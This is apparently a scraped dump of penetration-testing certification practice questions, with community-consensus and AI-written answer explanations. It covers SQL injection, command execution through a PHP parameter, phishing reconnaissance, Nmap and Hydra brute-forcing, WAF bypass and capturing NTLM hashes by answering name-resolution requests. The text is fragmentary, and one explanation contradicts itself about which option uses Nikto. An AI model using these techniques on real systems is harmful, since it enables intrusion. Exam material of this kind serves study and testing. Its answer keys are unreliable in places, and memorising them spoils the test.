", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer B.\n
\nReasoning:\n
\n The PHP code provided in the question executes the command specified in the 'cmd' GET or POST parameter using the `$_REQUEST` superglobal, then prints the output. To achieve Remote Code Execution (RCE), the penetration tester needs to send a request with the 'cmd' parameter set to a system command like 'id'.\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester discovered a code repository and noticed passwords were hashed before they were stored in the database with the following code:
salt = 'saltl23'
hash = hashlib.pbkdf2_hmac('sha256', plaintext, salt, 10000)
The penetration tester recommended the code be updated to the following:
salt = os.urandom(32)
hash = hashlib.pbkdf2_hmac('sha256', plaintext, salt, 10000)
Which of the following steps should the penetration tester recommend?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is A, which the reason is that the penetration tester should recommend changing passwords that were created before the code update to use a random salt. The reasoning is based on the fact that without the original plaintext passwords, it's impossible to rehash old passwords, as you cannot reverse a hash to get the plaintext password, so users will need to reset their passwords. C is incorrect because without knowing the original plaintext password, rehashing old passwords is impossible. Other options are not valid steps that the penetration tester should recommend.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is A. Changing passwords that were created before this code update.
\nReasoning: The core of the security improvement lies in using `os.urandom(32)` to generate a random, unique salt for each password. The original code used a fixed salt ('saltl23'). A fixed salt is a major vulnerability because it allows attackers to precompute rainbow tables or use other techniques to crack the passwords. Changing to a unique, randomly generated salt dramatically increases the difficulty of cracking the passwords, as each password requires a separate cracking effort.
\n Since the old passwords were created with a weak, fixed salt, they are still vulnerable even after the code update. Therefore, the only way to secure those old passwords is to have users change (and thus rehash) their passwords using the new, more secure code. Without the original plaintext passwords, it's impossible to rehash old passwords. Passwords cannot be reversed to obtain the plaintext and re-hashed. Therefore, users will need to reset their passwords.\n
\nWhy the other options are incorrect:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following describes a globally accessible knowledge base of adversary tactics and techniques based on real-world observations?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "OWASP Top 10", "html": "\n Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. The MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observation, which the reason is that the MITRE ATT&CK framework provides a structured, readily available resource for understanding and documenting adversary behaviors observed in the real world.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\n The question asks for a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.
\nThe correct answer is B. MITRE ATT&CK. This is because MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a widely recognized and used knowledge base that contains a comprehensive collection of adversary tactics and techniques based on real-world observations. It is used by security professionals worldwide to understand adversary behavior, develop threat models, and improve their defenses.\n
\nHere's why the other options are incorrect:\n
\nReasoning Details:\n
\nIn summary, MITRE ATT&CK is the only option that directly addresses the question's criteria of being a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.\n
\n\nBased on the above analysis, the most appropriate answer is B.\n
\n\nThe AI suggests to choose option B.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn organization wants to identify whether a less secure protocol is being utilized on a wireless network. Which of the following types of attacks will achieve this goal?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "False negotiation", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is that a Downgrade attack is a good way to determine if a less secure protocol is being utilized.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is D. Downgrade.
\nReasoning:
\n A downgrade attack specifically targets the use of less secure protocols. The attacker forces the system to use an older, weaker protocol, thereby revealing whether that protocol is still enabled and available for use. This directly addresses the organization's goal of identifying the presence of less secure protocols on the wireless network.
\n Here's why the other options are less suitable:\n
\nTherefore, the AI supports the suggested answer because a downgrade attack is the most direct method of checking for the existence of less secure protocols.\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhile a penetration tester conducts a web application assessment, the following URL is accessed:
http://comptia.com/index.php?id=1%20ORR%2022-7%3d10
Which of the following exploit types is being attempted?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Based on the internet discussion from Q4 2024 to Q1 2025, the consensus is that the correct answer is B. The comments agree with this answer because the payload contains an attempt at SQL injection, utilizing logical operators (like \"OR\") and expressions to manipulate an SQL query. One comment notes that the expression \"22-7=10\" will evaluate to false, potentially limiting the injection's impact. Another comment highlights the presence of an equal sign (\"=\") in the URL as an indicator of a possible SQL injection attempt.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of B (SQL injection).
\nReasoning: The URL `http://comptia.com/index.php?id=1%20ORR%2022-7%3d10` contains elements indicative of an SQL injection attempt. The presence of `OR` along with an arithmetic expression `22-7=10` within the `id` parameter strongly suggests the tester is trying to inject SQL code to manipulate the query executed by the web application. The `OR` operator is a common technique used in SQL injection to modify the logic of the original query. This attempts to force the query to return true, potentially bypassing authentication or revealing sensitive data.
\nWhy other options are incorrect:\n
\nTherefore, based on the structure of the URL and the presence of SQL logical operators, SQL injection is the most likely exploit being attempted.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tCompany.com has hired a penetration tester to conduct a phishing test. The tester wants to set up a fake log-in page and harvest credentials when target employees click on links in a phishing email. Which of the following commands would best help the tester determine which cloud email provider the log-in page needs to mimic?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "dig company.com MX", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A. dig company.com MX, which the reason is that the MX record identifies the mail server responsible for receiving email for a domain, allowing a penetration tester to determine the email provider and mimic the login page for a phishing test. Other options were not considered correct because:
The AI agrees with the suggested answer.
\nThe best command to help a penetration tester determine which cloud email provider a target company uses is: A. dig company.com MX.
\n
\nReasoning:
\nThe MX (Mail Exchange) record identifies the mail servers responsible for receiving email for a domain. By querying the MX record, the penetration tester can determine which email provider the company uses (e.g., Google Workspace, Microsoft Exchange Online, etc.) and then mimic the appropriate login page for the phishing test.
\n
\nWhy other options are not suitable:
\n
\nTherefore, the MX record provides the most direct and reliable way to identify the email provider.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester runs an Nmap scan and obtains the following output:![](\"topic_1_question_345/image_0.png\"/)
Which of the following commands should the penetration tester try next to explore this server?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion from Q3 2024 to Q1 2025, the conclusion of the answer to this question is D, which the reason is that Nikto is a web server scanner that is best suited for this situation. It is designed to scan for vulnerabilities in web servers, and the question indicates an HTTP service running on port 8080. The correct command would be nikto -h http://10.22.2.2:8080. Also, the comment emphasizes that bruteforcing would come much later than a vulnerability scan, and nikto will scan port 80 by default unless explicitly mentioned, so the option D is more appropriate.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the Nmap output and the goal of exploring the server, the AI recommends answer A.
\nThe primary reason for this recommendation is that the Nmap scan reveals HTTP services running on ports 80 and 8080. Nikto is a web server scanner specifically designed to identify vulnerabilities in web servers. By using Nikto, the penetration tester can efficiently assess the HTTP services for known vulnerabilities, misconfigurations, and other potential weaknesses.
\nHere's a detailed breakdown of why each option is (or isn't) suitable:\n
\nThe original suggested answer was D, but based on the nmap scan output, the AI does not agree with the suggested answer. The port 1433 is not shown on the scan, so it is more reasonable to choose A to scan the web service first.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a reconnaissance exercise, a penetration tester runs the following Nmap command:
nmap -sT -sV -T2 -p 1-65535 domain.com
After watching the scan run for more than two hours, the tester wants to optimize the full scan. Which of the following is the best way to speed up the scan?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C, which the reason is changing from a TCP connect scan (-sT) to a SYN scan (-sS) speeds up the scan because SYN scans are faster as they only send SYN packets and wait for responses without completing the TCP handshake. SYN scans are also popular for being quick and stealthy, and they work against any compliant TCP stack.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is C: Change -sT to -sS.
\nReasoning: The question aims to identify the best way to speed up a comprehensive Nmap scan. The original command uses a TCP connect scan (-sT), which completes the full TCP handshake. Switching to a SYN scan (-sS) is significantly faster because it only sends SYN packets and doesn't complete the handshake unless necessary, making it quicker and also stealthier.
\nWhy other options are not the best:\n
\nIn Summary: The most effective way to speed up a full TCP port scan in Nmap is to switch from a TCP connect scan (-sT) to a SYN scan (-sS) because it reduces the overhead of establishing full TCP connections.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following elements of a penetration testing report aims to provide a normalized and standardized representation of discovered vulnerabilities and the overall threat they present to an affected system or network?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Executive summary", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Vulnerability severity rating, which the reason is the vulnerability severity rating provides a standardized representation of discovered vulnerabilities and their overall threat. Risk rating is the process of assigning values to the identified risks.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer: B. Vulnerability severity rating.
\nReasoning: The vulnerability severity rating is the element that aims to provide a normalized and standardized representation of discovered vulnerabilities and the overall threat they present to an affected system or network. These ratings, often using scales like CVSS (Common Vulnerability Scoring System), allow for consistent evaluation and prioritization of vulnerabilities. This standardization is crucial for effective communication and risk management.
\nReasons for not choosing the other options:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is scanning a customer subnet and wants to scan ports that are known to have only well-known UDP services present. Which of the following can the tester use to scan for SNMP. NTP, NetBIOS, and DNS?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap -vv -sUV -p 53,123,137-139,161 192.168.1.0/24 -oA udpscan", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A, which the reason is that it uses the correct flags for a UDP scan, specifies the required ports, and correctly formats the target subnet. Specifically, it includes the -vv flag for verbose output, the -sU flag to specify a UDP scan, the -sV flag for version detection, the -p flag to specify the target ports and the subnet. Other options are incorrect because: B uses an incorrect scan type (-sX), and an incorrect port range. C uses the wrong scan type (-sT). D uses an incorrect port range and subnet format.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer A.\n
\nThe primary reason for choosing option A is that it correctly uses the `nmap` flags for a UDP scan (`-sU`), version detection (`-sV`), specifies the correct ports (53, 123, 137-139, 161) associated with DNS, NTP, NetBIOS, and SNMP respectively, and employs the correct subnet format (192.168.1.0/24). The `-vv` flag enhances verbosity, providing more detailed output, and `-oA udpscan` specifies the output file name.\n
\nThe reasons for rejecting the other options are as follows:\n
\n The correct `nmap` syntax and options are crucial for effective network scanning, and option A adheres to these requirements for the given scenario.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following OSSTM testing methodologies should be used to test under the worst conditions?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Tandem", "html": "From the internet discussion, the conclusion of the answer to this question is B. Reversal, which the reason is that the Reversal testing methodology is typically used to simulate testing under the worst or most adverse conditions, and the target is unaware of the when, how, and what of the test. Some users thought D. Known Environment Testing could also be an answer because an attacker having all knowledge of the system could be a worst-case scenario, but it did not get agreement from the internet.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer B (Reversal) is correct.
\nReasoning: Reversal testing, within the OSSTMM framework, is designed to assess security controls under the most adverse and unpredictable conditions. This methodology involves simulating a real-world attack where the target is unaware of the timing, methods, and objectives of the assessment. This approach effectively tests the organization's ability to detect, respond to, and recover from unexpected security incidents, representing a \"worst-case\" scenario.
\nReasons for not choosing the other options:\n
\nSupporting Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is testing a company's public APIs. In researching the API URLs, the penetration tester discovers that the URLs resolve to a cloud-hosted WAF service that is blocking the penetration tester's attack attempts. Which of the following should the tester do to best ensure the attacks will be more successful?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Increase the volume of attacks to enable more to possibly slip through.", "html": "Agree with Suggested Answer From the internet discussion, including from Q2 2024 to Q1 2025, the consensus answer to this question is D, which is to locate the company's servers hosting the API and send traffic directly there. The comments agree with this answer because it bypasses the WAF, which is designed to filter and inspect traffic. C, which involves using multiple source IP addresses, is considered less effective because modern WAFs can detect and block distributed attacks.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer D.
\nReasoning: The most effective approach to bypass a WAF (Web Application Firewall) is to identify the actual servers hosting the API and directly target them. This avoids the WAF's filtering and inspection mechanisms, increasing the likelihood of successful penetration testing.
\nHere's a breakdown of why the other options are less suitable:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company recruited a penetration tester to brute force an SSH password on a server. The tester would like to use THC Hydra to perform the attack and remember the use of the -t option. Which of the following should be considered when using this option?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The number of connects in parallel per target", "html": "Based on the internet discussion from Q2 2024 to Q1 2025, the conclusion regarding the question about the Hydra command-line options is that the correct answer is A. The discussion highlights that the -t option specifies the number of parallel tasks or threads for the brute force attack, which defines the total number of simultaneous connections Hydra attempts to make to the target server. Some users also point out that if multiple targets are specified, -t applies to the number of threads overall, not per target. One user states that option B is misleading because the -t option does not refer to parallel connections per target specifically; it's the total number of parallel connections across all tasks.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is correct.
\nReasoning:The -t option in THC-Hydra specifies the number of parallel connections to be made. This directly impacts the intensity and speed of the brute-force attack. Too many connections might overload the target server or trigger security mechanisms, while too few might make the attack impractically slow. Thus, it controls the number of parallel connections per target, which is the same as the number of connections in parallel per target.
\nWhy other options are incorrect:\n
Suggested Answer: A
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a security assessment, a penetration tester decides to use the following Python snippet:![](\"topic_1_question_352/image_0.png\"/)
Which of the following best describes what the penetration tester is trying to achieve?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A, which the reason is the script generates a continuous stream of TCP packets aimed at a destination IP on port 80. Given the very short interval between packets, this effectively becomes a packet flood or DoS (Denial of Service) attack, attempting to overload the target’s server or network connection.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer A.
\nThe provided Python script is designed to send a high volume of TCP packets to a specified IP address and port (in this case, port 80, which is commonly used for HTTP). The `while True` loop ensures that the packets are sent continuously, and the `time.sleep(0.005)` introduces a very short delay (5 milliseconds) between each packet. This rapid and continuous transmission of packets aims to overwhelm the target server or network, making it unavailable to legitimate users. This is a classic example of a Denial of Service (DoS) attack.
\n
\nHere's a breakdown:\n
\nReasons for not choosing the other options:\n
\nIn summary, the script's primary function is to flood the target with TCP packets, making option A, \"Web server denial of service,\" the most accurate description.\n
\n\nCitations:\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn organization’s Chief Information Security Officer debates the validity of a critical finding from a penetration assessment that was completed six months ago. Which of the following post-report delivery activities would have most likely prevented this scenario?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Client acceptance", "html": "Agree with Suggested Answer From the internet discussion from Q2 2024 to Q1 2025, the conclusion of the answer to this question is A, Client Acceptance, which the reason is the client needs to confirm, review and agree with the findings of the penetration test report. This process ensures both parties acknowledge the validity of the findings at the time of the report's delivery. Also, answer C is incorrect as it is for questioning the report after it is submitted and months after. Another answer B, is incorrect as attestation is the process of providing evidence that the findings detailed in the PenTest report are true.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A (Client acceptance).
\nReasoning: Client acceptance is a crucial step in the post-report delivery process. It involves the client reviewing and formally acknowledging the findings of the penetration test report. This process helps prevent disputes later on because it ensures that both the penetration testers and the client agree on the validity and significance of the identified vulnerabilities at the time the report is delivered. This agreement establishes a shared understanding and baseline for remediation efforts.
\nWhy other options are incorrect:\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is testing a company's public API and discovers that specific input allows the execution of arbitrary commands on the base operating system. Which of the following actions should the penetration tester take next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Include the findings in the final report.", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Always notify, which the reason is because of the need to notify users of changes.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, B: Notify the client immediately.
\nReasoning:
\nUpon discovering a critical vulnerability like arbitrary command execution, the penetration tester's priority is to immediately inform the client. This allows the client to take swift action to mitigate the risk and prevent potential damage. Delaying notification until the final report is unacceptable when a severe vulnerability is identified. Responsible disclosure dictates immediate communication for critical findings.
\nThe penetration tester should follow established communication channels and escalation procedures to ensure the client is promptly aware of the vulnerability and can begin remediation efforts.
\nWhy other options are incorrect:\n
\nIn summary, the immediate notification to the client is paramount when a critical vulnerability like arbitrary command execution is discovered.\n
"}, {"folder_name": "topic_1_question_355", "topic": "1", "question_num": "355", "question": "A penetration tester keeps a running diary of the day-to-day engagement activity. Which of the following is the most likely explanation for keeping the diary?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester keeps a running diary of the day-to-day engagement activity. Which of the following is the most likely explanation for keeping the diary?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "To facilitate post-engagement cleanup", "html": "\n Based on the internet discussion from Q2 2024 to Q1 2025, the consensus answer is B. To monitor lessons learned, which is the best explanation for maintaining a penetration testing diary. The reason is the diary supports continuous improvement and tracking of methods throughout the engagement. Other opinions suggest the correct answer could be \"A. To ensure all engagement activities are cleaned up.\" However, B is the correct answer since keeping a diary helps track what worked, what didn't, and any unexpected behaviors during the testing.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant suggests choosing answer B: To monitor lessons learned.
\n
\nReasoning:\nThe primary purpose of a penetration testing diary is to document the process, findings, and methodologies used throughout the engagement. This documentation facilitates the identification of lessons learned, which can then be applied to improve future penetration tests and enhance the overall security posture of the organization. By tracking what worked, what didn't, and any unexpected behaviors observed, the diary serves as a valuable resource for continuous improvement.\n
\n
\nReasons for not choosing other answers:\n
\nIn summary, the diary is most likely kept to monitor lessons learned.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is the most important aspect to consider when calculating the price of a penetration test service for a client?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Operating cost", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B, which the reason is the scope of a penetration test defines resources, time, quality, depth, methodologies, in-scope targets, the type of assessment, the client's requirements, and the expectations of the penetration tester. This information is crucial for determining the price of the engagement, as it offers a comprehensive overview of the entire assessment.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is B (Required scope of work).
\nThe most important aspect to consider when calculating the price of a penetration test service is the required scope of work.
\n The scope directly influences the resources, time, and expertise needed to complete the engagement. A well-defined scope helps to accurately estimate the effort involved.
\n
\nReasoning:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhile performing a mobile application penetration test, a security consultant notices that the user password is being locally encrypted before it is sent to the back end for authentication. Which of the following techniques would be best for the consultant to use to find the encryption algorithm and the encryption key?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Sandbox analysis", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C: Local - Reverse engineer, which the reason is the consensus points to reverse engineering as the method to analyze a local application for security vulnerabilities.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer C, which is Reverse engineering.
\nReasoning: If the password is encrypted locally before transmission, the encryption logic and key are contained within the application's code. Reverse engineering is the process of disassembling and analyzing the application's binary code to understand its inner workings, including the encryption algorithm and key used. This is the most direct and reliable method to discover how the encryption is implemented.
\nWhy other options are not suitable:\n
\nSuggested Answer: C. Reverse engineering\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA client has requested that the penetration test scan include the following UDP services: SNMP. NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan", "html": "\nAgree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C, which the reason is that C is the only option that focuses on the UDP services mentioned in the question, specifically DNS, NetBios, and SNMP. Other options are incorrect because they include NTP, which is not a service specified in the question.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is C.
\n The command `nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan` is the most suitable option because:\n
\nHere's why the other options are less suitable:\n
\n\n Therefore, option C is the most accurate as it specifically targets the UDP services (SNMP, NetBIOS, and DNS) requested in the client's requirements, while excluding irrelevant services.\n
\n\n The Nmap documentation confirms the use of `-sU` for UDP scans and `-p` for specifying port ranges:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to identify the most common TCP ports on 10.7.8.69. Which of the following is the best Nmap command for this task?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap 10.7.8.69 -sS -sA -sV -F", "html": "From the internet discussion, the consensus is a mix of A and C are correct answers, while D is incorrect, which has been supported from Q2 2024 to Q1 2025. The reasons are: A is the correct answer because it uses -sS for a SYN scan, which is stealthy and efficient; -sA conducts an ACK scan to understand firewall rules; -sV attempts to detect service versions; and -F performs a fast scan of the top 100 ports. C is also suggested because nmap IP... -sC -sV -Pn gives results. Other options are incorrect because of specifying multiple TCP scan types in the same Nmap command is not allowed, such as -sT and -sA
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer of A.
\nThe best Nmap command to identify the most common TCP ports on a target is option A: `nmap 10.7.8.69 -sS -sA -sV -F`.
\nHere's a detailed reasoning:
Why other options are not suitable:
\nTherefore, option A provides a focused and efficient way to identify the most common TCP ports on the target.
"}, {"folder_name": "topic_1_question_361", "topic": "1", "question_num": "361", "question": "A penetration tester needs to perform a vulnerability scan on a highly critical and fragile infrastructure system. Which of the following should the penetration tester do to minimize the risk?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester needs to perform a vulnerability scan on a highly critical and fragile infrastructure system. Which of the following should the penetration tester do to minimize the risk?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Implement query throttling", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A - Query throttling, which the reason is it limits the number of requests that can be made to a specific query in a given period of time, preventing a single user from consuming too many resources and ensuring that an API remains responsive to all users.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer A. The most appropriate action for a penetration tester to minimize risk when scanning a highly critical and fragile infrastructure system is to implement query throttling.
\nReasoning:
\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester discovers a login page during an assessment. Which of the following tools would the tester use to brute force a password?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Hydra", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A. Hydra, which the reason is Hydra is a tool specifically designed for brute-forcing, making it the correct choice among the options provided. Other options like Wireshark, SQLmap, and TinEye serve different purposes: Wireshark is for packet analysis, SQLmap for SQL injection vulnerability detection, and TinEye for reverse image lookups, none of which are related to brute-forcing.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer.
\nThe recommended answer is A. Hydra.
\nReasoning: Hydra is a well-known tool specifically designed for brute-forcing login credentials. It supports various protocols and services, making it suitable for attacking login pages.
\nReasons for excluding other options:\n
\n
"}, {"folder_name": "topic_1_question_363", "topic": "1", "question_num": "363", "question": "A penetration test is in the scoping phase of an engagement. Which of the following describes how a penetration tester would most effectively obtain the information necessary to begin testing?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration test is in the scoping phase of an engagement. Which of the following describes how a penetration tester would most effectively obtain the information necessary to begin testing?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Wait for the client to tell them", "html": "\n Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D. Sending a pre-engagement survey to the client, which the reason is that it's the most effective way for a penetration tester to obtain necessary information to begin testing during the scoping phase.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, D: Send a pre-engagement survey to the client to fill out.
\nReasoning:
\n A pre-engagement survey is the most effective method for a penetration tester to gather the required information during the scoping phase. This proactive approach ensures that the tester receives direct, documented, and relevant information from the client regarding the systems, networks, and applications to be tested, as well as any specific limitations or concerns.\n
\nSuggested Answer: D\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester would like to know if any web servers or mail servers are running on the in-scope network segment. Which of the following is the best to use in this scenario?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "ARP scans", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. An Nmap probe on ports 80, 443, and 25 would identify any web servers or mail servers in that particular subnet, which the reason is this is because Nmap can scan specific ports to identify services like web servers (port 80 and 443) and mail servers (port 25) running on the target subnet.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer is correct.
\nNmap probes are the best tool for identifying running web servers and mail servers on a network segment. Nmap allows for port scanning, which can determine if specific ports associated with these services (e.g., 80, 443 for web servers and 25 for mail servers) are open on the target machines.
\nHere's why other options are less suitable:\n
\n The correct answer is D. Nmap probes.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an engagement with a financial institution, a penetration tester found hard-coded credentials in a publicly accessible code repository. Those credentials allowed the penetration tester to access PII from many of the institution’s customers and services that are hosted by a cloud provider. Which of the following actions should the penetration tester do next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Proceed with the engagement and add the evidence in the final report", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is hard-coded credentials inside of a publicly accessible code repository that lead to PII would be considered a very critical vulnerability and should be reported to the technical contact immediately to prevent further exploitation from adversaries.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, D. Report the findings to the customer’s technical contact immediately.
\nReasoning: Discovering hard-coded credentials in a public repository that allow access to PII is a critical security vulnerability. The immediate action should be to inform the client so they can take steps to remediate the issue and prevent further data breaches. This aligns with ethical hacking principles and the need to protect sensitive information. According to the SANS Institute, prompt reporting is crucial when dealing with sensitive data exposure (SANS Institute, https://www.sans.org/).
\nReasons for not choosing other options:\n
\n
"}, {"folder_name": "topic_1_question_366", "topic": "1", "question_num": "366", "question": "A penetration tester captures SMB network traffic and discovers that users are mistyping the name of a fileshare server. This causes the workstations to send out requests attempting to resolve the fileshare server’s name. Which of the following is the best way for a penetration tester to exploit this situation?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester captures SMB network traffic and discovers that users are mistyping the name of a fileshare server. This causes the workstations to send out requests attempting to resolve the fileshare server’s name. Which of the following is the best way for a penetration tester to exploit this situation?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Relay the traffic to the real file server and steal documents as they pass through", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. Respond to the requests with the tester's IP address and steal authentication credentials, which the reason is that when users mistype a file share server name, their workstations send network requests to resolve the server name. A penetration tester can then respond to these requests with their own IP address (using tools like Responder or Metasploit SMB relay modules) to capture authentication credentials. This technique exploits weaknesses in the SMB protocol and allows capturing NTLM hashes, which can be cracked offline or relayed to gain access to other systems.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D: Respond to the requests with the tester's IP address and steal authentication credentials.
\n
\nReasoning: The scenario describes a situation where users are mistyping the name of a file share server, causing their workstations to send out network requests to resolve the server name. This creates an opportunity for a penetration tester to exploit this behavior. By responding to these requests with the tester's IP address, the workstations will attempt to authenticate with the penetration tester's machine. This allows the tester to capture the authentication credentials, specifically NTLM hashes, which can then be cracked offline or relayed to gain access to other systems.
\n
